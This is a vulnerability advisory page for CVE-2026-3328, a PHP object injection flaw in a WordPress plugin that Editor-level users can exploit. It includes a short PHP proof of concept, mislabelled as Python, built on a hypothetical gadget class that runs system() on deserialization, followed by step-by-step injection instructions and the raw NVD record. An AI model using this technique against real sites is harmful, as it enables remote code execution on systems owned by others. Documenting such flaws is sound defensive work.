Security Vulnerability Report
中文
CVE-2026-3328 CVSS 7.2 HIGH

CVE-2026-3328

Published: 2026-03-26 04:17:12
Last Modified: 2026-04-24 16:35:20

Description

The Frontend Admin by DynamiApps plugin for WordPress is vulnerable to PHP Object Injection via deserialization of the 'post_content' of admin_form posts in all versions up to, and including, 3.28.31. This is due to the use of WordPress's `maybe_unserialize()` function without class restrictions on user-controllable content stored in admin_form post content. This makes it possible for authenticated attackers, with Editor-level access and above, to inject a PHP Object. The additional presence of a POP chain allows attackers to achieve remote code execution.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Frontend Admin by DynamiApps <= 3.28.31

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * PoC for CVE-2026-3328 * Vulnerability: PHP Object Injection in Frontend Admin Plugin * Requirements: Editor+ privileges */ // Hypothetical POP Chain class (e.g., from a common WP theme/plugin) class Vulnerable_Pop_Chain { public $cmd; public function __wakeup() { if (isset($this->cmd)) { system($this->cmd); // Arbitrary code execution } } } // Generate Payload $object = new Vulnerable_Pop_Chain(); $object->cmd = 'touch /tmp/poc.txt'; // Command to execute $payload = serialize($object); // Output the serialized payload to be injected into 'post_content' echo "Payload to inject into admin_form post_content:\n"; echo $payload; /* Exploitation Steps: 1. Log in as an Editor or Admin. 2. Edit an existing 'admin_form' post or create a new one. 3. Insert the generated $payload into the post_content field. 4. Save/Update the post. 5. Trigger the deserialization by visiting the page where the form content is processed. */ ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-3328", "sourceIdentifier": "[email protected]", "published": "2026-03-26T04:17:11.663", "lastModified": "2026-04-24T16:35:20.070", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Frontend Admin by DynamiApps plugin for WordPress is vulnerable to PHP Object Injection via deserialization of the 'post_content' of admin_form posts in all versions up to, and including, 3.28.31. This is due to the use of WordPress's `maybe_unserialize()` function without class restrictions on user-controllable content stored in admin_form post content. This makes it possible for authenticated attackers, with Editor-level access and above, to inject a PHP Object. The additional presence of a POP chain allows attackers to achieve remote code execution."}, {"lang": "es", "value": "El plugin Frontend Admin de DynamiApps para WordPress es vulnerable a Inyección de Objetos PHP a través de la deserialización del 'post_content' de publicaciones de tipo admin_form en todas las versiones hasta la 3.28.31, inclusive. Esto se debe al uso de la función 'maybe_unserialize()' de WordPress sin restricciones de clase en el contenido controlable por el usuario almacenado en el contenido de publicaciones de tipo admin_form. Esto permite a atacantes autenticados, con acceso de nivel Editor o superior, inyectar un Objeto PHP. La presencia adicional de una cadena POP permite a los atacantes lograr ejecución remota de código."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/acf-frontend-form-element/tags/3.28.27/main/admin/admin-pages/forms/settings.php#L419", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/acf-frontend-form-element/trunk/main/admin/admin-pages/forms/settings.php#L419", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3486785%40acf-frontend-form-element&new=3486785%40acf-frontend-form-element&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/0faa8f07-88c1-4638-9de5-e202807866e1?source=cve", "source": "[email protected]"}]}}